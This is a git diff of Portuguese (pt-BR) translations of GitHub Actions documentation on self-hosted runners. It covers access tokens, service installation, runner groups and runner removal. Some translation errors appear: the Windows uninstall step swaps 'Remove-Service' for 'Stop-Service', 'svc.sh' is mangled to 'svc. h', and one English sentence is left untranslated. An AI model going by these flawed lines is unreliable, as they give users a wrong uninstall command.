-- For private repositories, use an access token with the [`repo` scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).
-- For public repositories, use an access token with the [`public_repo` scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).
+- Para repositórios privados, use um token de acesso com o escopo [`repo`](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).
+- Para repositórios públicos, use um token de acesso com o escopo [`public_repo`](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes).
 
-To  authenticate using a {% data variables.product.prodname_dotcom %} App, it must be assigned the following permissions:
-- For repositories, assign the `administration` permission.
-- For organizations, assign the `organization_self_hosted_runners` permission.
+Para efetuar a autenticação usando um aplicativo de {% data variables.product.prodname_dotcom %}, este deverá ter as seguintes permissões:
+- Para repositórios, atribua a permissão de `administração`.
+- Para organizações, atribua a permissão `organization_self_hosted_runners`.
 
-You can register and delete enterprise self-hosted runners using [the API](/rest/reference/enterprise-admin#github-actions). To authenticate to the API, your autoscaling implementation can use an access token.
+Você pode registrar e excluir executores auto-hospedados da empresa usando [a API](/rest/reference/enterprise-admin#github-actions). Para efetuar a autenticação na API, sua implementação de dimensionamento automático pode usar um token de acesso.
 
-Your access token will require the `manage_runners:enterprise` scope.
+Seu token de acesso irá exigir o escopo `manage_runners:enterprise`.
diff --git a/translations/pt-BR/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md b/translations/pt-BR/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
index 64f8750f4a..2beed758d7 100644
--- a/translations/pt-BR/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
+++ b/translations/pt-BR/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring the self-hosted runner application as a service
-intro: You can configure the self-hosted runner application as a service to automatically start the runner application when the machine starts.
+title: Configurar o aplicativo do executor auto-hospedado como um serviço
+intro: Você pode configurar o aplicativo do executor auto-hospedado como um serviço para que inicie o aplicativo do executor automaticamente quando a máquina for iniciada.
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/configuring-the-self-hosted-runner-application-as-a-service
 versions:
@@ -10,16 +10,16 @@ versions:
   ghec: '*'
 type: tutorial
 defaultPlatform: linux
-shortTitle: Run runner app on startup
+shortTitle: Executar o executor ao iniciar
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-{% capture service_first_step %}1. Stop the self-hosted runner application if it is currently running.{% endcapture %}
-{% capture service_non_windows_intro_shell %}On the runner machine, open a shell in the directory where you installed the self-hosted runner application. Use the commands below to install and manage the self-hosted runner service.{% endcapture %}
-{% capture service_nonwindows_intro %}You must add a runner to {% data variables.product.product_name %} before you can configure the self-hosted runner application as a service. For more information, see "[Adding self-hosted runners](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)."{% endcapture %}
+{% capture service_first_step %}1. Pare o aplicativo do executor auto-hospedado se estiver em execução no momento.{% endcapture %}
+{% capture service_non_windows_intro_shell %}Na máquina, abra um shell no diretório onde você instalou o aplicativo do executor auto-hospedado. Use os comandos abaixo para instalar e gerenciar o serviço do executor auto-hospedado.{% endcapture %}
+{% capture service_nonwindows_intro %}Você deve adicionar um executor a {% data variables.product.product_name %} antes de poder configurar o aplicativo do executor auto-hospedado um serviço. Para obter mais informações, consulte "[Adicionando executores auto-hospedados](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)".{% endcapture %}
 {% capture service_win_name %}actions.runner.*{% endcapture %}
 
 
@@ -27,7 +27,7 @@ shortTitle: Run runner app on startup
 
 {{ service_nonwindows_intro }}
 
-For Linux systems that use `systemd`, you can use the `svc.sh` script distributed with the self-hosted runner application to install and manage using the application as a service.
+Para os sistemas Linux que usam o `systemd`, você pode usar o script `svc. h` distribuído com o aplicativo do executor auto-hospedado para instalação e gerenciamento usando o aplicativo como um serviço.
 
 {{ service_non_windows_intro_shell }}
 
@@ -37,13 +37,13 @@ For Linux systems that use `systemd`, you can use the `svc.sh` script distribute
 
 {% note %}
 
-**Note:** Configuring the self-hosted runner application as a service on Windows is part of the application configuration process. If you have already configured the self-hosted runner application but did not choose to configure it as a service, you must remove the runner from {% data variables.product.prodname_dotcom %} and re-configure the application. When you re-configure the application, choose the option to configure the application as a service.
+**Observação:** A configuração do executor auto-hospedado como um serviço no Windows faz parte do processo de configuração do aplicativo. Se você já configurou o aplicativo de executor auto-hospedado, mas não escolheu configurá-lo como um serviço, você deve remover o executor do {% data variables.product.prodname_dotcom %} e reconfigurar o aplicativo. Ao reconfigurar o aplicativo, selecione a opção para configurar o aplicativo como um serviço.
 
-For more information, see "[Removing self-hosted runners](/actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners)" and "[Adding self-hosted runners](/actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners)."
+Para obter mais informações, consulte "[Removendo os executores auto-hospedados](/actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners)" e "[Adicionando executores auto-hospedados](/actions/automating-your-workflow-with-github-actions/adding-self-hosted-runners)".
 
 {% endnote %}
 
-You can manage the runner service in the Windows **Services** application, or you can use PowerShell to run the commands below.
+Você pode gerenciar o serviço do executor no aplicativo **Serviços** do Windows, ou você pode usar o PowerShell para executar os comandos abaixo.
 
 {% endwindows %}
 
@@ -57,10 +57,10 @@ You can manage the runner service in the Windows **Services** application, or yo
 
 {% linux %}
 
-## Installing the service
+## Instalando o serviço
 
 {{ service_first_step }}
-1. Install the service with the following command:
+1. Instale o serviço com o comando a seguir:
 
    ```shell
    sudo ./svc.sh install
@@ -69,19 +69,19 @@ You can manage the runner service in the Windows **Services** application, or yo
 {% endlinux %}
 {% mac %}
 
-## Installing the service
+## Instalando o serviço
 
 {{ service_first_step }}
-1. Install the service with the following command:
+1. Instale o serviço com o comando a seguir:
 
    ```shell
    ./svc.sh install
    ```
 {% endmac %}
 
-## Starting the service
+## Iniciar o serviço
 
-Start the service with the following command:
+Inicie o serviço com o seguinte comando:
 
 {% linux %}
 ```shell
@@ -99,9 +99,9 @@ Start-Service "{{ service_win_name }}"
 ```
 {% endmac %}
 
-## Checking the status of the service
+## Verificando o status do serviço
 
-Check the status of the service with the following command:
+Verifique o status do serviço com o comando a seguir:
 
 {% linux %}
 ```shell
@@ -119,11 +119,11 @@ Get-Service "{{ service_win_name }}"
 ```
 {% endmac %}
 
- For more information on viewing the status of your self-hosted runner, see  "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)."
+ Para obter mais informações sobre a visualização do status de seu executor auto-hospedado, consulte "[Monitoramento e resolução de problemas dos executores auto-hospedados](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)".
 
-## Stopping the service
+## Interromper o serviço
 
-Stop the service with the following command:
+Interrompa o serviço com o comando a seguir:
 
 {% linux %}
 ```shell
@@ -141,10 +141,10 @@ Stop-Service "{{ service_win_name }}"
 ```
 {% endmac %}
 
-## Uninstalling the service
+## Desinstalando o serviço
 
-1. Stop the service if it is currently running.
-1. Uninstall the service with the following command:
+1. Interrompa o serviço se estiver em execução.
+1. Desinstale o serviço com o comando a seguir:
 
     {% linux %}
     ```shell
@@ -153,7 +153,7 @@ Stop-Service "{{ service_win_name }}"
     {% endlinux %}
     {% windows %}
     ```shell
-    Remove-Service "{{ service_win_name }}"
+    Stop-Service "{{ service_win_name }}"
     ```
     {% endwindows %}
     {% mac %}
@@ -165,16 +165,16 @@ Stop-Service "{{ service_win_name }}"
 
 {% linux %}
 
-## Customizing the self-hosted runner service
+## Personalizar o serviço do executor auto-hospedado
 
-If you don't want to use the above default `systemd` service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `serviced` template at `actions-runner/bin/actions.runner.service.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point.
+Se você não desejar usar a configuração-padrão doserviço do `systemd` acima, você poderá criar um serviço personalizado ou usar o mecanismo de serviço que preferir. Considere usar o template `serviced` em `actions-runner/bin/actions.runner.service.template` como referência. Se você usa um serviço personalizado, o serviço do executor auto-hospedado deve sempre ser acessado usando o ponto de entrada `runsvc.sh`.
 
 {% endlinux %}
 
 {% mac %}
 
-## Customizing the self-hosted runner service
+## Personalizar o serviço do executor auto-hospedado
 
-If you don't want to use the above default launchd service configuration, you can create a customized service or use whichever service mechanism you prefer. Consider using the `plist` template at `actions-runner/bin/actions.runner.plist.template` as a reference. If you use a customized service, the self-hosted runner service must always be invoked using the `runsvc.sh` entry point.
+Se você não desejar usar a configuração-padrão do serviço do launchd acima, você poderá criar um serviço personalizado ou usar o mecanismo de serviço que preferir. Considere usar o modelo `plist` em `actions-runner/bin/actions.runner.plist.template` como referência. Se você usa um serviço personalizado, o serviço do executor auto-hospedado deve sempre ser acessado usando o ponto de entrada `runsvc.sh`.
 
 {% endmac %}
diff --git a/translations/pt-BR/content/actions/hosting-your-own-runners/index.md b/translations/pt-BR/content/actions/hosting-your-own-runners/index.md
index 35bffd48e4..f892c45cf9 100644
--- a/translations/pt-BR/content/actions/hosting-your-own-runners/index.md
+++ b/translations/pt-BR/content/actions/hosting-your-own-runners/index.md
@@ -1,6 +1,6 @@
 ---
-title: Hosting your own runners
-intro: You can create self-hosted runners to run workflows in a highly customizable environment.
+title: Hospedar seus próprios executores
+intro: Você pode criar executores auto-hospedados para executar fluxos de trabalho em um ambiente altamente personalizável.
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/hosting-your-own-runners
   - /actions/automating-your-workflow-with-github-actions/hosting-your-own-runners
@@ -27,6 +27,7 @@ children:
   - /monitoring-and-troubleshooting-self-hosted-runners
   - /removing-self-hosted-runners
 ---
+
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/pt-BR/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md b/translations/pt-BR/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
index a0afa6e963..f4f6d9c310 100644
--- a/translations/pt-BR/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
+++ b/translations/pt-BR/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to self-hosted runners using groups
-intro: You can use policies to limit access to self-hosted runners that have been added to an organization or enterprise.
+title: Gerenciando o acesso aos executores auto-hospedados usando grupos
+intro: Você pode usar políticas para limitar o acesso a executores auto-hospedados adicionados a uma organização ou empresa.
 redirect_from:
   - /actions/hosting-your-own-runners/managing-access-to-self-hosted-runners
 versions:
@@ -9,54 +9,55 @@ versions:
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Manage runner groups
+shortTitle: Gerenciar grupos de executores
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About self-hosted runner groups
+## Sobre grupos de executores auto-hospedados
 
 {% ifversion fpt %}
 {% note %}
 
-**Note:** All organizations have a single default self-hosted runner group. Only enterprise accounts and organizations owned by enterprise accounts can create and manage additional self-hosted runner groups.
+**Observação:** Todas as organizações têm um único grupo de executores auto-hospedados padrão. Somente contas corporativas e organizações pertencentes a contas corporativas podem criar e gerenciar grupos de executores auto-hospedados adicionais.
 
 {% endnote %}
 
-Self-hosted runner groups are used to control access to self-hosted runners. Organization admins can configure access policies that control which repositories in an organization have access to the runner group.
+Os grupos de executores auto-hospedados são usados para controlar o acesso a executores auto-hospedados. Os administradores da organização podem configurar políticas de acesso que controlam quais repositórios em uma organização têm acesso ao grupo de runner.
+Se você usar
 
-If you use {% data variables.product.prodname_ghe_cloud %}, you can create additional runner groups; enterprise admins can configure access policies that control which organizations in an enterprise have access to the runner group; and organization admins can assign additional granular repository access policies to the enterprise runner group. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).
+{% data variables.product.prodname_ghe_cloud %}, você pode criar grupos de executores adicionais. Os administradores corporativos podem configurar políticas de acesso que controlam quais organizações em uma empresa têm acesso ao grupo de executores; e os administradores da organização podem atribuir políticas adicionais de acesso ao repositório granular para o grupo de executores corporativos. Para obter mais informações, consulte a [documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).
 {% endif %}
 
 {% ifversion ghec or ghes or ghae %}
-Self-hosted runner groups are used to control access to self-hosted runners at the organization and enterprise level. Enterprise admins can configure access policies that control which organizations in an enterprise have access to the runner group. Organization admins can configure access policies that control which repositories in an organization have access to the runner group.
+Grupos de executores auto-hospedados são usados para controlar o acesso a executores auto-hospedados a nível da organização e da empresa. Os administradores da empresa podem configurar políticas de acesso que controlam quais organizações em uma empresa têm acesso ao grupo de runner. Os administradores da organização podem configurar políticas de acesso que controlam quais repositórios em uma organização têm acesso ao grupo de runner.
 
-When an enterprise admin grants an organization access to a runner group, organization admins can see the runner group listed in the organization's self-hosted runner settings. The organizations admins can then assign additional granular repository access policies to the enterprise runner group.
+Quando um administrador da empresa concede acesso de uma organização a um grupo de runner, os administradores da organização podem ver o grupo de runner listado nas configurações do runner auto-hospedado da organização. Os administradores de organizações podem então atribuir políticas adicionais de acesso ao repositório granular para o grupo de executores empresariais.
 
-When new runners are created, they are automatically assigned to the default group. Runners can only be in one group at a time. You can move runners from the default group to another group. For more information, see "[Moving a self-hosted runner to a group](#moving-a-self-hosted-runner-to-a-group)."
+Quando novos executores são criados, eles são atribuídos automaticamente ao grupo-padrão. Os executores só podem estar em um grupo por vez. Você pode mover os executores do grupo-padrão para outro grupo. Para obter mais informações, consulte "[Mover um executorauto-hospedado para um grupo](#moving-a-self-hosted-runner-to-a-group)".
 
-## Creating a self-hosted runner group for an organization
+## Criar um grupo de executor auto-hospedado para uma organização
 
-All organizations have a single default self-hosted runner group. Organizations within an enterprise account can create additional self-hosted groups. Organization admins can allow individual repositories access to a runner group. For information about how to create a self-hosted runner group with the REST API, see "[Self-hosted runner groups](/rest/reference/actions#self-hosted-runner-groups)."
+Todas as organizações têm um único grupo de executores auto-hospedados padrão. As organizações dentro de uma conta corporativa podem criar outros grupos auto-hospedados. Os administradores da organização podem permitir o acesso de repositórios individuais a um grupo de executor. Para obter informações sobre como criar um grupo de executores auto-hospedados com a API REST, consulte "[grupos de executores auto-hospedados](/rest/reference/actions#self-hosted-runner-groups)."
 
-Self-hosted runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can move a runner from the default group to any group you create.
+Os executores auto-hospedados são automaticamente atribuídos ao grupo-padrão quando criados e só podem ser membros de um grupo por vez. Você pode mover um executor do grupo- padrão para qualquer grupo que você criar.
 
-When creating a group, you must choose a policy that defines which repositories have access to the runner group.
+Ao criar um grupo, você deverá escolher uma política que defina quais repositórios têm acesso ao grupo do executor.
 
 {% ifversion ghec %}
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.settings-sidebar-actions-runner-groups %}
-1. In the "Runner groups" section, click **New runner group**.
+1. Na seção "Grupos de executores", clique em **Novo grupo de executor**.
  {% data reusables.github-actions.runner-group-assign-policy-repo %}
 
    {% warning %}
 
-   **Warning**: {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
+   **Aviso**: {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
 
    {% endwarning %}
 {% data reusables.github-actions.self-hosted-runner-create-group %}
@@ -65,50 +66,50 @@ When creating a group, you must choose a policy that defines which repositories
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.settings-sidebar-actions-runners %}
-1. In the "Self-hosted runners" section, click **Add new**, and then **New group**.
+1. Na seção "Executores auto-hospedados", clique em **Adicionar novo** e, em seguida, **Novo grupo**.
 
-    ![Add runner group](/assets/images/help/settings/actions-org-add-runner-group.png)
-1. Enter a name for your runner group, and assign a policy for repository access.
+    ![Adicionar grupo de executor](/assets/images/help/settings/actions-org-add-runner-group.png)
+1. Insira um nome para o seu grupo de executor e atribua uma política para acesso ao repositório.
 
-   {% ifversion ghes or ghae %} You can configure a runner group to be accessible to a specific list of repositories, or to all repositories in the organization. By default, only private repositories can access runners in a runner group, but you can override this. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.{% endif %}
+   {% ifversion ghes or ghae %} Você pode configurar um grupo de executores para poder ser acessado por uma lista específica de repositórios ou por todos os repositórios na organização. Por padrão, apenas repositórios privados podem acessar executores em um grupo de executores, mas você pode substituir isso. Esta configuração não pode ser substituída se configurar o grupo de executores da organização que foi compartilhado por uma empresa.{% endif %}
 
    {% warning %}
 
-   **Warning**
+   **Aviso**
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
 
    {% endwarning %}
 
-   ![Add runner group options](/assets/images/help/settings/actions-org-add-runner-group-options.png)
-1. Click **Save group** to create the group and apply the policy.
+   ![Adicionar opções de grupo de executores](/assets/images/help/settings/actions-org-add-runner-group-options.png)
+1. Clique em **Salvar grupo** para criar o grupo e aplicar a política.
 {% endif %}
 
-## Creating a self-hosted runner group for an enterprise
+## Criar um grupo de executor auto-hospedado para uma empresa
 
-Enterprises can add their self-hosted runners to groups for access management. Enterprises can create groups of self-hosted runners that are accessible to specific organizations in the enterprise account. Organization admins can then assign additional granular repository access policies to the enterprise runner groups. For information about how to create a self-hosted runner group with the REST API, see the [Enterprise Administration GitHub Actions APIs](/rest/reference/enterprise-admin#github-actions).
+As empresas podem adicionar seus executores auto-hospedados a grupos para gerenciamento de acesso. As empresas podem criar grupos de executores auto-hospedados acessíveis a organizações específicas na conta corporativa. Os administradores da organização podem atribuir políticas adicionais granulares de acesso ao repositório para os grupos de executores corporativos. Para obter informações sobre como criar um grupo de executores auto-hospedados com a API REST, consulte as [APIs da administração da empresa do GitHub Actions](/rest/reference/enterprise-admin#github-actions).
 
-Self-hosted runners are automatically assigned to the default group when created, and can only be members of one group at a time. You can assign the runner to a specific group during the registration process, or you can later move the runner from the default group to a custom group.
+Os executores auto-hospedados são automaticamente atribuídos ao grupo-padrão quando criados e só podem ser membros de um grupo por vez. Você pode atribuir o executor a um grupo específico durante o processo de registro, ou você pode mover o executor do grupo-padrão para um grupo personalizado.
 
-When creating a group, you must choose a policy that defines which organizations have access to the runner group.
+Ao criar um grupo, você deve escolher uma política que defina quais organizações têm acesso ao grupo de executores.
 
 {% ifversion ghec %}
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
 {% data reusables.enterprise-accounts.actions-runner-groups-tab %}
-1. Click **New runner group**.
+1. Clique em **Novo grupo de executores**.
  {% data reusables.github-actions.runner-group-assign-policy-org %}
 
    {% warning %}
 
-   **Warning**
+   **Aviso**
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
 
    {% endwarning %}
 {% data reusables.github-actions.self-hosted-runner-create-group %}
@@ -118,43 +119,43 @@ When creating a group, you must choose a policy that defines which organizations
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.actions-tab %}
 {% data reusables.enterprise-accounts.actions-runners-tab %}
-1. Click **Add new**, and then **New group**.
+1. Clique em **Adicionar novo** e, em seguida, **Novo grupo**.
 
-    ![Add runner group](/assets/images/help/settings/actions-enterprise-account-add-runner-group.png)
-1. Enter a name for your runner group, and assign a policy for organization access.
+    ![Adicionar grupo de executor](/assets/images/help/settings/actions-enterprise-account-add-runner-group.png)
+1. Insira um nome para o seu grupo de executor e atribua uma política para acesso à organização.
 
-    You can configure a runner group to be accessible to a specific list of organizations, or all organizations in the enterprise. By default, only private repositories can access runners in a runner group, but you can override this. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.
+    Você pode configurar um grupo de executores para que possa ser acessado por uma lista específica de organizações ou por todas as organizações da empresa. Por padrão, apenas repositórios privados podem acessar executores em um grupo de executores, mas você pode substituir isso. This setting can't be overridden if configuring an organization's runner group that was shared by an enterprise.
 
    {% warning %}
 
-   **Warning**
+   **Aviso**
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
 
    {% endwarning %}
 
-    ![Add runner group options](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options.png)
-1. Click **Save group** to create the group and apply the policy.
+    ![Adicionar opções de grupo de executores](/assets/images/help/settings/actions-enterprise-account-add-runner-group-options.png)
+1. Clique em **Salvar grupo** para criar o grupo e aplicar a política.
 {% endif %}
 {% endif %}
 
-## Changing the access policy of a self-hosted runner group
+## Alterar a política de acesso de um grupo de executores auto-hospedados
 
-You can update the access policy of a runner group, or rename a runner group.
+Você pode atualizar a política de acesso de um grupo de executores ou renomear um grupo de executores.
 {% ifversion fpt or ghec %}
 {% data reusables.github-actions.self-hosted-runner-groups-navigate-to-repo-org-enterprise %}
 {% data reusables.github-actions.settings-sidebar-actions-runner-groups-selection %}
-1. Modify the access options, or change the runner group name.
+1. Modifique as opções de acesso ou altere o nome do grupo dp executor.
 
    {% warning %}
 
-   **Warning**
+   **Aviso**
 
    {% indented_data_reference reusables.github-actions.self-hosted-runner-security spaces=3 %}
 
-   For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
+   Para obter mais informações, consulte "[Sobre os executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)."
 
    {% endwarning %}
 {% endif %}
@@ -163,54 +164,49 @@ You can update the access policy of a runner group, or rename a runner group.
 {% endif %}
 
 {% ifversion ghec or ghes or ghae %}
-## Automatically adding a self-hosted runner to a group
+## Adicionando um executor auto-hospedado a um grupo automaticamente
 
-You can use the configuration script to automatically add a new self-hosted runner to a group. For example, this command registers a new self-hosted runner and uses the `--runnergroup` parameter to add it to a group named `rg-runnergroup`.
+Você pode usar o script de configuração para adicionar automaticamente um novo executor auto-hospedado a um grupo. Por exemplo, este comando registra um novo executor auto-hospedado e usa o parâmetro `--runnergroup` para adicioná-lo a um grupo denominado `rg-runnergroup`.
 
 ```sh
 ./config.sh --url $org_or_enterprise_url --token $token --runnergroup rg-runnergroup
 ```
 
-The command will fail if the runner group doesn't exist:
+O comando irá falhar se o grupo do executor não existir:
 
 ```
-Could not find any self-hosted runner group named "rg-runnergroup".
+Não foi possível encontrar nenhum grupo de executor auto-hospedado denominado "rg-runnergroup".
 ```
 
-## Moving a self-hosted runner to a group
+## Mover um executor auto-hospedado para um grupo
 
-If you don't specify a runner group during the registration process, your new self-hosted runners are automatically assigned to the default group, and can then be moved to another group.
+Se você não especificar o grupo de um executor durante o processo de registro, seus novos executores auto-hospedados são automaticamente atribuídos ao grupo padrão e poderão ser transferidos para outro grupo.
 {% ifversion ghec or ghes > 3.1 or ghae %}
 {% data reusables.github-actions.self-hosted-runner-navigate-to-org-enterprise %}
-1. In the "Runners" list, click the runner that you want to configure.
-2. Select the Runner group dropdown menu.
-3. In "Move runner to group", choose a destination group for the runner.
+1. Na lista de "Executores", clique no executor que você deseja configurar.
+2. Selecione o menu suspenso do grupo do executor.
+3. Em "Transferir executor para o grupo", escolha um grupo de destino para o executor.
 {% endif %}
 {% ifversion ghes < 3.2 or ghae %}
-1. In the "Self-hosted runners" section of the settings page, locate the current group of the runner you want to move and expand the list of group members.
-    ![View runner group members](/assets/images/help/settings/actions-org-runner-group-members.png)
-2. Select the checkbox next to the self-hosted runner, and then click **Move to group** to see the available destinations.
-    ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move.png)
-3. To move the runner, click on the destination group.
-    ![Runner group member move](/assets/images/help/settings/actions-org-runner-group-member-move-destination.png)
+1. Na seção "executores auto-hospedados" da página de configurações, localize o grupo atual do executor que deseja mover e expandir a lista de integrantes do grupo. ![Visualizar integrantes do grupo de executores](/assets/images/help/settings/actions-org-runner-group-members.png)
+2. Marque a caixa de seleção ao lado do executor auto-hospedado e, em seguida, clique em **Mover para o grupo** para ver os destinos disponíveis. ![Mover um membro do grupo de executores](/assets/images/help/settings/actions-org-runner-group-member-move.png)
+3. Para mover o executor, clique no grupo de destino. ![Mover um membro do grupo de executores](/assets/images/help/settings/actions-org-runner-group-member-move-destination.png)
 {% endif %}
-## Removing a self-hosted runner group
+## Remover um grupo de executor auto-hospedado
 
-Self-hosted runners are automatically returned to the default group when their group is removed.
+Os executores auto-hospedados são retornados automaticamente ao grupo-padrão quando seu grupo é removido.
 
 {% ifversion ghes > 3.1 or ghae or ghec %}
 {% data reusables.github-actions.self-hosted-runner-groups-navigate-to-repo-org-enterprise %}
-1. In the list of groups, to the right of the group you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
-2. To remove the group, click **Remove group**.
-3. Review the confirmation prompts, and click **Remove this runner group**.
+1. Na lista de grupos, à direita do grupo que você deseja excluir, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
+2. Para remover o grupo, clique em **Remover grupo**.
+3. Revise os avisos de confirmação e, em seguida, clique em **Remover este grupo de executores**.
 {% endif %}
 {% ifversion ghes < 3.2 or ghae %}
-1. In the "Self-hosted runners" section of the settings page, locate the group you want to delete, and click the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} button.
-    ![View runner group settings](/assets/images/help/settings/actions-org-runner-group-kebab.png)
+1. Na seção "Executores auto-hospedados" da página de configurações, localize o grupo que você deseja excluir e clique no botão {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} . ![Exibir configurações do grupo de executores](/assets/images/help/settings/actions-org-runner-group-kebab.png)
 
-1. To remove the group, click **Remove group**.
-    ![View runner group settings](/assets/images/help/settings/actions-org-runner-group-remove.png)
+1. Para remover o grupo, clique em **Remover grupo**. ![Exibir configurações do grupo de executores](/assets/images/help/settings/actions-org-runner-group-remove.png)
 
-1. Review the confirmation prompts, and click **Remove this runner group**.
+1. Revise os avisos de confirmação e, em seguida, clique em **Remover este grupo de executores**.
 {% endif %}
 {% endif %}
diff --git a/translations/pt-BR/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md b/translations/pt-BR/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
index 49a1a6d3d0..cbc55ec1c3 100644
--- a/translations/pt-BR/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
+++ b/translations/pt-BR/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md
@@ -1,6 +1,6 @@
 ---
-title: Removing self-hosted runners
-intro: 'You can permanently remove a self-hosted runner from a repository{% ifversion fpt %} or organization{% elsif ghec or ghes or gahe %}, an organization, or an enterprise{% endif %}.'
+title: Remover executores auto-hospedados
+intro: 'Você pode remover permanentemente um executor auto-hospedado de um repositório{% ifversion fpt %} ou organização{% elsif ghec or ghes or gahe %}, uma organização ou uma empresa{% endif %}.'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/removing-self-hosted-runners
   - /actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners
@@ -10,24 +10,24 @@ versions:
   ghae: '*'
   ghec: '*'
 type: tutorial
-shortTitle: Remove self-hosted runners
+shortTitle: Remover executores auto-hospedados
 ---
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Removing a runner from a repository
+## Remover um executor de um repositório
 
 {% note %}
 
-**Note:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
+**Observação:** {% data reusables.github-actions.self-hosted-runner-removal-impact %}
 
 {% data reusables.github-actions.self-hosted-runner-auto-removal %}
 
 {% endnote %}
 
-To remove a self-hosted runner from a user repository you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)."
